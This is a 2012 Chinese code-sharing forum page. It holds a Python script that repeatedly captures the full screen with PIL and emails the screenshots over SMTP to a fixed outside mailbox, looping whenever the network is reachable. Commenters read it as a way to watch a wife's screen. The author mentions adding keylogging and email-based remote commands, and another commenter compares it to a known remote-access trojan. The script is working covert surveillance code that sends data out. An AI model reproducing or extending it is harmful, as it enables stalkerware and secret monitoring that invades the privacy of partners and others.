当前访客身份:游客 [ 登录 | 加入 OSCHINA ]

代码分享

当前位置:
代码分享 » Python  » 网络编程
分享到: 
收藏 +0
1
用了PIL截屏,以及自带的邮件模块
标签: Python

代码片段(1) [全屏查看所有代码]

1. [代码][Python]代码     跳至 [1] [全屏预览]

import os
import socket
import smtplib
import time
import mimetypes
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import PIL
from PIL import Image,ImageGrab

def getip():
    localip = socket.gethostbyname(socket.gethostname())
    msg = MIMEMultipart()
    msg['From']="from@qq.com"
    msg['To']="to@126.com"
    msg['Subject']= "email for testing"

    txt = MIMEText("this is content of email ")
    msg.attach(txt)
    im = ImageGrab.grab()
    im.save("d:\sketch.png")
    fileName = "d:\sketch.png"
    ctype,encoding = mimetypes.guess_type(fileName)
    if ctype is None or encoding is not None:
        ctype = "application/octet-stream"
    maintype,subtype = ctype.split('/',1)
    att1 = MIMEImage((lambda f: (f.read(), f.close()))(open(fileName, 'rb'))[0], _subtype = subtype)
    att1.add_header('Content-Disposition','attachment',filename=fileName)
    msg.attach(att1)
    
    smtp = smtplib.SMTP()
    smtp.connect("smtp.qq.com","25")
    smtp.login("from@qq.com","password")
    smtp.sendmail("from@qq.com","to@126.com",msg.as_string())
    smtp.quit()

def test2():
    import os
    import subprocess
    
    fnull = open(os.devnull, 'w')
    return1 = subprocess.call('ping 8.8.8.8', shell = True, stdout = fnull, stderr = fnull)
    fnull.close()
    if return1:
      return False
    else:
      getip()
      return True
i=0
while 1:
    t = test2()
    if t == False:
        time.sleep(30)
        
    else:
        time.sleep(3)
        i=i+1
        if i==3:
            break
        

        



开源中国-程序员在线工具:Git代码托管 API文档大全(120+) JS在线编辑演示 二维码 更多»

发表评论 回到顶部 网友评论(100)

  • 1楼:永远对你好 发表于 2012-05-25 21:47 回复此评论
    自己顶。
  • 2楼:花花兽 发表于 2012-05-25 21:52 回复此评论
    表示看不懂,好吧,我是搞java的
  • 3楼:永远对你好 发表于 2012-05-25 22:04 回复此评论

    引用来自“sunlimiter”的评论

    表示看不懂,好吧,我是搞java的
    大同小异啊。。
  • 4楼:X-ray 发表于 2012-05-25 22:05 回复此评论
    ...监控媳妇干什么啊?
  • 5楼:汉克斯 发表于 2012-05-25 22:16 回复此评论

    引用来自“Hannah_”的评论

    ...监控媳妇干什么啊?
    怕偷或者被偷。
  • 6楼:enzozhong 发表于 2012-05-25 22:46 回复此评论
    加上视频功能吧
  • 7楼:极品渣子 发表于 2012-05-25 23:26 回复此评论
    不懂,感觉像每30秒发一个截图到指定的邮箱,你知道什么叫隐私吗?
  • 8楼:laosong 发表于 2012-05-25 23:31 回复此评论
    邮箱一天就爆掉了把
  • 9楼:solu 发表于 2012-05-26 10:36 回复此评论
    发送频率过高了吧,不如发送指令到邮箱然后定时去检测邮箱获取指令然后再执行相应动作
  • 10楼:xfk 发表于 2012-05-26 12:37 回复此评论
  • 11楼:乾坤摄 发表于 2012-05-26 20:25 回复此评论

    你好好对你媳妇,就行了,人心都是肉长的。。。

  • 12楼:jeffsui 发表于 2012-05-28 07:58 回复此评论
    木媳妇的飘过......
  • 13楼:永远对你好 发表于 2012-05-28 11:18 回复此评论

    引用来自“乾坤摄”的评论

    你好好对你媳妇,就行了,人心都是肉长的。。。

    说的有道理,其实我也就是娱乐娱乐哈哈
  • 14楼:永远对你好 发表于 2012-05-28 11:19 回复此评论

    引用来自“jeffsui”的评论

    木媳妇的飘过......
    you can find one
  • 15楼:永远对你好 发表于 2012-05-28 11:20 回复此评论

    引用来自“solu”的评论

    发送频率过高了吧,不如发送指令到邮箱然后定时去检测邮箱获取指令然后再执行相应动作
    我也正有此意,检测邮箱以获得执行命令,之前在写帮同事写了个爬虫抓网页信息,这几天就进行改善。。
  • 16楼:永远对你好 发表于 2012-05-28 11:20 回复此评论

    引用来自“ztd”的评论

    不懂,感觉像每30秒发一个截图到指定的邮箱,你知道什么叫隐私吗?
    我这个当然知道了啊。我都告诉她了。。就是测试的。。
  • 17楼:永远对你好 发表于 2012-05-28 11:21 回复此评论

    引用来自“钟浩文”的评论

    加上视频功能吧
    加上视频功能也行。那估计得能即使传输的了,就得构建一个服务器了。要不然怎么实时传输视频流啊。复杂了。不过我在弄一个键盘监控。
  • 18楼:永远对你好 发表于 2012-05-28 11:22 回复此评论

    引用来自“xfk”的评论

    非常感谢,我参考参考,然后进行改进
  • 19楼:polly 发表于 2012-05-28 16:55 回复此评论
    欠跪CPU
  • 20楼:朱__朱 发表于 2012-05-28 21:40 回复此评论
    ....你还不如买个灰鸽子更省事....
开源从代码分享开始 分享代码